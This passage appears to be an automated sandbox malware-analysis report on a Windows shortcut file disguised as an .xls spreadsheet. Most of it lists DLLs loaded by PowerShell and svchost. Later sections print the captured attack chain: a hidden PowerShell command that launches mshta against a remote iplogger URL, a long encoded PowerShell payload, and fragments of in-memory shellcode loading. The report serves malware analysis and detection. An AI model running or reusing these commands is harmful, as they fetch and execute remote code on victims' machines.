          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: esent.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: mi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: es.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
          Source: C:\Windows\System32\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32Jump to behavior
          Source: ____ ______.xls.lnk.bin.lnkLNK file: ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          Source: C:\Windows\System32\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
          Source: Binary string: .pDbY5 source: powershell.exe, 00000000.00000002.1186273619.00007FFC3DC30000.00000004.00000800.00020000.00000000.sdmp
          Source: Binary string: HP_oXC:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.1388672866.00000000074C9000.00000004.00000010.00020000.00000000.sdmp
          Source: Binary string: .textn.pdb ` source: powershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmp

          Data Obfuscation

          barindex
          Found suspicious powershell code related to unpacking or dynamic code loading
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$var_buffer = $var_va.Invoke([IntPtr]::Ze
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('M
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String("H4sIAAAAAAAA/61Xa3OizBL+HH8FH1KlVkwOxMvqnkrVIhfFAJGLl5g3lUIYERkBYRDJu/vfT4OazZ5Nztmqc6yiHGamu59+prunMRC5Nkjs2UQJHURdT1GceGFA3VYql1vLRx5JQuqO+latrNLAJsVSMXhxEXmJ4tB+sRwnRklC/V25GFuxta
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$var_buffer = $var_va.Invoke([IntPtr]::Ze
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('M
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3
          Suspicious powershell command line found
          Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'"
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVAB
          Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFC3DA700BD pushad ; iretd 0_2_00007FFC3DA700C1
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FFC3D95D2A5 pushad ; iretd 3_2_00007FFC3D95D2A6
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FFC3DA700BD pushad ; iretd 3_2_00007FFC3DA700C1
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FFC3DB423FC push 8B485F91h; iretd 3_2_00007FFC3DB42401
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FFC3DB45BA1 push A000005Bh; iretd 3_2_00007FFC3DB45BB9
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_077D00D7 push eax; iretd 6_2_077D02D4

          Persistence and Installation Behavior

          barindex
          Windows shortcut file (LNK) starts blacklisted processes
          Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          Source: LNK fileProcess created: C:\Windows\System32\mshta.exe
          Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          Source: LNK fileProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          Source: LNK fileProcess created: C:\Windows\System32\mshta.exeJump to behavior
          Source: LNK fileProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeJump to behavior
          Source: LNK fileProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeJump to behavior

          Hooking and other Techniques for Hiding and Protection

          barindex
          Uses an obfuscated file name to hide its real file extension (double extension)
          Source: Possible double extension: xls.lnkStatic PE information: ____ ______.xls.lnk.bin.lnk
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
